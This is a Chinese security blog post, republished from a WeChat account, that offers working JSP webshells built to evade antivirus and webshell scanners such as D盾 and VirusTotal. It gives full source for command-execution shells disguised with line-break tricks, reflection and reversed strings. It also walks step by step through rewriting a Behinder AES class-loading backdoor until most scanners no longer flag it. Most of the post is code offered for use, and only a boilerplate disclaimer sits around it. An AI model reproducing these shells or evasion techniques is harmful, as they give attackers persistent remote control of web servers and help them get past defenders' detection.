过d盾 jsp webshell+冰蝎免杀马

admin 2022年5月16日00:51:05安全文章评论86 views4114字阅读13分42秒阅读模式

听师傅说 php免杀被玩烂了 很好过

重要的是jsp的和asp的 这里就先扔一些jsp的免杀马,下篇扔asp的

jsp免杀马的思路其实一般最常用的就是反射和类加载问题+反转问题

就能bypass webshell的查杀了


当然现在的有些厂商直接强标识<%%>这种就要el去绕咯


基础小马bypass

小马的bypass其实贼简单 因为特征没有被玩烂 很多种思路去绕

bypass1 一个换行特性导致的bypass

最开始四级

过d盾 jsp webshell+冰蝎免杀马

换行特性后即完美bypass

<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime rt = Runtime.getRuntime();
String cmd = request.getParameter("cmd");
Process process = rt.
exec(cmd);
java.io.InputStream in =
process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader
= new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>

d盾

过d盾 jsp webshell+冰蝎免杀马

长亭

过d盾 jsp webshell+冰蝎免杀马

河马

过d盾 jsp webshell+冰蝎免杀马

百度

过d盾 jsp webshell+冰蝎免杀马

vt

过d盾 jsp webshell+冰蝎免杀马


bypass2 反射+反转的思路(这个不是我写的 觉得这个思路不错而且也还免杀就扔给师傅们玩了)

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String reverseStr(String str){String reverse = "";int length = str.length();for (int i = 0; i < length; i++){reverse = str.charAt(i) + reverse;}return reverse;}%>
<%
String x = request.getParameter("x");
if(x!=null){
Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj"));
Method gr = rt.getMethod(reverseStr("emitnuRteg"));
Method ex = rt.getMethod(reverseStr("cexe"), String.class);
Process e = (Process) ex.invoke(gr.invoke(null), x);
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

d盾

过d盾 jsp webshell+冰蝎免杀马

百度

过d盾 jsp webshell+冰蝎免杀马

长亭

过d盾 jsp webshell+冰蝎免杀马

vt

过d盾 jsp webshell+冰蝎免杀马

河马

过d盾 jsp webshell+冰蝎免杀马


冰蝎bypass

这里主要来玩一下冰蝎bypass 因为这个马的特征被大佬们玩的差不多了 不过还是可以碰一下玩的

这里扔一个bypass vt查杀率1/58的 其他全过

冰蝎正文:

最开始的

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
String input= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(input))).newInstance().equals(pageContext);
}%>

效果d盾直接就查了 5级后门

过d盾 jsp webshell+冰蝎免杀马

加入java的换行特性+

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b)
{return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().
equals("POST")){
String k="e45e329feb5d925b";
session.
putValue("u",k);
Cipher c=Cipher.
getInstance("AES");
c.init(2,new SecretKeySpec

(k.getBytes(),"AES"));
String input= request.
getReader()
.readLine
();
new U(this.getClass()
.getClassLoader()
).g(c.doFinal(Base64.getDecoder()
.decode(input)))
.newInstance()
.equals(pageContext);
}%>

变成2级 可疑文件了

过d盾 jsp webshell+冰蝎免杀马

引入注释符 后面根据研究单纯的unicode+换行+注释符啥的都只能bypass2级的效果


过d盾 jsp webshell+冰蝎免杀马

还是二级效果

过d盾 jsp webshell+冰蝎免杀马

冰蝎仍可连

过d盾 jsp webshell+冰蝎免杀马

那就只能做下定位看看这个可疑定的是哪条了

然后当把最后一条代码删除时

就不报了 即核心本质就是要改最后一段的特征

过d盾 jsp webshell+冰蝎免杀马

即这串代码

在删除里面的细节然后想办法进行替换

new U(this.getClass()
.getClassLoader()
).g(c.doFinal(Base64.getDecoder()
.decode(input)))
.newInstance()
.equals(pageContext);

结合反射特性进行bypass

几个替换

①this.getClass().getClassLoader()
//替换为
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
②Base64.getDecoder().decode(input)
//替换为
byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
③c.doFinal()
//替换为
Class clazz2=Class.forName("javax.crypto.Cipher");
byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);


最后替换后bypass的马

除vt以外其他的都完美过 vt其实也能完美过 在多个类即可bypass完美的(有兴趣的话师傅们可以研究下)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder"%>
<%!class U extends ClassLoader
{
U(ClassLoader c){super(c);
}
public Class g(byte []b)
{
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.
getInstance("AES");

c.init(2,
new SecretKeySpec
(k.getBytes()
,"AES"));
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
String input= request.
getReader()
.readLine
();


byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
Class clazz2=Class.forName("javax.crypto.Cipher");
byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);
Class clazz=new U(contextClassLoader).
g(clazzBytes);
clazz.newInstance().equals(pageContext);
}%>

d盾查杀率

过d盾 jsp webshell+冰蝎免杀马

vt查杀率

查杀率1/58

过d盾 jsp webshell+冰蝎免杀马

  长亭

过d盾 jsp webshell+冰蝎免杀马

百度的(有一说一 这个的jsp查杀效果真不行 乱过)

过d盾 jsp webshell+冰蝎免杀马

河马

过d盾 jsp webshell+冰蝎免杀马


原文始发于微信公众号(goddemon的小屋):过d盾 jsp webshell+冰蝎免杀马

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月16日00:51:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  过d盾 jsp webshell+冰蝎免杀马 http://cn-sec.com/archives/1009043.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: